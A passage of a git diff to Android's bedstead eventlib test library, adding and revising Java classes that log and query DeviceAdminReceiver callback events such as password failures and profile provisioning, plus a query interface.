+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminPasswordExpiringEventLogger setUserHandle(UserHandle userHandle) {
+            mEvent.mUser = new SerializableParcelWrapper<>(userHandle);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent, UserHandle)}.
+     */
+    public UserHandle user() {
+        if (mUser == null) {
+            return null;
+        }
+        return mUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminPasswordExpiringEvent{"
+                + " intent=" + intent()
+                + ", user=" + user()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
index 9bc1c84..4c1cd62 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
@@ -40,7 +40,9 @@
  */
 public final class DeviceAdminPasswordFailedEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminPasswordFailedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminPasswordFailedEvent} events. */
     public static DeviceAdminPasswordFailedEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordFailedEventQuery(packageName);
     }
@@ -49,19 +51,22 @@
     public static final class DeviceAdminPasswordFailedEventQuery
             extends EventLogsQuery<DeviceAdminPasswordFailedEvent,
             DeviceAdminPasswordFailedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordFailedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordFailedEventQuery> mIntent =
                 new IntentQueryHelper<>(this);
         UserHandleQueryHelper<DeviceAdminPasswordFailedEventQuery> mUserHandle =
-                new UserHandleQueryHelper<DeviceAdminPasswordFailedEventQuery>(this);
+                new UserHandleQueryHelper<>(this);
 
         private DeviceAdminPasswordFailedEventQuery(String packageName) {
             super(DeviceAdminPasswordFailedEvent.class, packageName);
         }
 
         /**
-         * Query {@link Intent} passed into
+         * Queries {@link Intent} passed into
          * {@link DeviceAdminReceiver#onPasswordFailed(Context, Intent)}.
          */
         @CheckResult
@@ -69,14 +74,14 @@
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminPasswordFailedEventQuery>
                 whereDeviceAdminReceiver() {
             return mDeviceAdminReceiver;
         }
 
-        /** Query {@link UserHandle} passed into
+        /** Queries {@link UserHandle} passed into
          * {@link DeviceAdminReceiver#onPasswordFailed(Context, Intent, UserHandle)}.
          */
         @CheckResult
@@ -97,9 +102,18 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminPasswordFailedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("userHandle", mUserHandle)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminPasswordFailedEvent}. */
+    /** Begins logging a {@link DeviceAdminPasswordFailedEvent}. */
     public static DeviceAdminPasswordFailedEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminPasswordFailedEventLogger(deviceAdminReceiver, context, intent);
@@ -115,34 +129,34 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordFailedEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordFailedEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordFailedEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminPasswordFailedEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
         }
 
-        /** Set the {@link UserHandle}. */
+        /** Sets the {@link UserHandle}. */
         public DeviceAdminPasswordFailedEventLogger setUserHandle(UserHandle userHandle) {
             mEvent.mUserHandle = new SerializableParcelWrapper<>(userHandle);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
index f6a0504..3201ea8 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
@@ -40,7 +40,9 @@
  */
 public final class DeviceAdminPasswordSucceededEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminPasswordSucceededEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminPasswordSucceededEvent} events. */
     public static DeviceAdminPasswordSucceededEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordSucceededEventQuery(packageName);
     }
@@ -49,6 +51,9 @@
     public static final class DeviceAdminPasswordSucceededEventQuery
             extends EventLogsQuery<DeviceAdminPasswordSucceededEvent,
             DeviceAdminPasswordSucceededEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordSucceededEventQuery>
                 mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordSucceededEventQuery> mIntent =
@@ -61,7 +66,7 @@
         }
 
         /**
-         * Query {@link Intent} passed into
+         * Queries {@link Intent} passed into
          * {@link DeviceAdminReceiver#onPasswordSucceeded(Context, Intent)}.
          */
         @CheckResult
@@ -69,14 +74,14 @@
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminPasswordSucceededEventQuery>
                 whereDeviceAdminReceiver() {
             return mDeviceAdminReceiver;
         }
 
-        /** Query {@link UserHandle} passed into
+        /** Queries {@link UserHandle} passed into
          * {@link DeviceAdminReceiver#onPasswordSucceeded(Context, Intent, UserHandle)}.
          */
         @CheckResult
@@ -97,9 +102,18 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminPasswordSucceededEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("userHandle", mUserHandle)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminPasswordSucceededEvent}. */
+    /** Begins logging a {@link DeviceAdminPasswordSucceededEvent}. */
     public static DeviceAdminPasswordSucceededEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminPasswordSucceededEventLogger(deviceAdminReceiver, context, intent);
@@ -115,34 +129,34 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordSucceededEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordSucceededEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordSucceededEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminPasswordSucceededEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
         }
 
-        /** Set the {@link UserHandle}. */
+        /** Sets the {@link UserHandle}. */
         public DeviceAdminPasswordSucceededEventLogger setUserHandle(UserHandle userHandle) {
             mEvent.mUserHandle = new SerializableParcelWrapper<>(userHandle);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
new file mode 100644
index 0000000..10ccbbb
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onProfileProvisioningComplete(Context, Intent)}
+ * is called.
+ */
+public final class DeviceAdminProfileProvisioningCompleteEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminProfileProvisioningCompleteEvent} events. */
+    public static DeviceAdminProfileProvisioningCompleteEventQuery queryPackage(String packageName) {
+        return new DeviceAdminProfileProvisioningCompleteEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminProfileProvisioningCompleteEvent}. */
+    public static final class DeviceAdminProfileProvisioningCompleteEventQuery
+            extends EventLogsQuery<DeviceAdminProfileProvisioningCompleteEvent,
+            DeviceAdminProfileProvisioningCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminProfileProvisioningCompleteEventQuery(String packageName) {
+            super(DeviceAdminProfileProvisioningCompleteEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onProfileProvisioningComplete(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminProfileProvisioningCompleteEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminProfileProvisioningCompleteEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminProfileProvisioningCompleteEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminProfileProvisioningCompleteEvent}. */
+    public static DeviceAdminProfileProvisioningCompleteEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminProfileProvisioningCompleteEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminProfileProvisioningCompleteEvent}. */
+    public static final class DeviceAdminProfileProvisioningCompleteEventLogger
+            extends EventLogger<DeviceAdminProfileProvisioningCompleteEvent> {
+        private DeviceAdminProfileProvisioningCompleteEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminProfileProvisioningCompleteEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminProfileProvisioningCompleteEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminProfileProvisioningCompleteEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminProfileProvisioningCompleteEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminProfileProvisioningCompleteEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onProfileProvisioningComplete(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminProfileProvisioningCompleteEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
new file mode 100644
index 0000000..995da5e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onReadyForUserInitialization(Context, Intent)}
+ * is called.
+ */
+public final class DeviceAdminReadyForUserInitializationEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminReadyForUserInitializationEvent} events. */
+    public static DeviceAdminReadyForUserInitializationEventQuery queryPackage(String packageName) {
+        return new DeviceAdminReadyForUserInitializationEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminReadyForUserInitializationEvent}. */
+    public static final class DeviceAdminReadyForUserInitializationEventQuery
+            extends EventLogsQuery<DeviceAdminReadyForUserInitializationEvent,
+            DeviceAdminReadyForUserInitializationEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminReadyForUserInitializationEventQuery(String packageName) {
+            super(DeviceAdminReadyForUserInitializationEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onReadyForUserInitialization(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminReadyForUserInitializationEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminReadyForUserInitializationEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminReadyForUserInitializationEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminReadyForUserInitializationEvent}. */
+    public static DeviceAdminReadyForUserInitializationEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminReadyForUserInitializationEventLogger(
+                deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminReadyForUserInitializationEvent}. */
+    public static final class DeviceAdminReadyForUserInitializationEventLogger
+            extends EventLogger<DeviceAdminReadyForUserInitializationEvent> {
+        private DeviceAdminReadyForUserInitializationEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminReadyForUserInitializationEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminReadyForUserInitializationEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminReadyForUserInitializationEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminReadyForUserInitializationEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminReadyForUserInitializationEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onReadyForUserInitialization(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminReadyForUserInitializationEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReceiverEvents.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReceiverEvents.java
new file mode 100644
index 0000000..9f8424a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReceiverEvents.java
@@ -0,0 +1,290 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.os.UserHandle;
+
+/**
+ * Quick access to event queries about device admin receivers.
+ */
+public interface DeviceAdminReceiverEvents {
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)} is called
+     * on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminBugreportFailedEvent.DeviceAdminBugreportFailedEventQuery bugReportFailed();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onBugreportShared(Context, Intent, String)}  is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminBugreportSharedEvent.DeviceAdminBugreportSharedEventQuery bugReportShared();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onBugreportSharingDeclined(Context, Intent)}  is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminBugreportSharingDeclinedEvent.DeviceAdminBugreportSharingDeclinedEventQuery bugReportSharingDeclined();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminChoosePrivateKeyAliasEvent.DeviceAdminChoosePrivateKeyAliasEventQuery choosePrivateKeyAlias();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onDisabled(Context, Intent)} is called on a
+     * device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminDisabledEvent.DeviceAdminDisabledEventQuery deviceAdminDisabled();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onDisableRequested(Context, Intent)} is called on
+     * a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminDisableRequestedEvent.DeviceAdminDisableRequestedEventQuery deviceAdminDisableRequested();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onEnabled(Context, Intent)} is called on a device
+     * admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminEnabledEvent.DeviceAdminEnabledEventQuery deviceAdminEnabled();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onLockTaskModeEntering(Context, Intent, String)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminLockTaskModeEnteringEvent.DeviceAdminLockTaskModeEnteringEventQuery lockTaskModeEntering();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onLockTaskModeExiting(Context, Intent)} is called
+     * on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminLockTaskModeExitingEvent.DeviceAdminLockTaskModeExitingEventQuery lockTaskModeExiting();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminNetworkLogsAvailableEvent.DeviceAdminNetworkLogsAvailableEventQuery networkLogsAvailable();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, Intent)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminOperationSafetyStateChangedEvent.DeviceAdminOperationSafetyStateChangedEventQuery operationSafetyStateChanged();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventQuery passwordChanged();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent, UserHandle)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
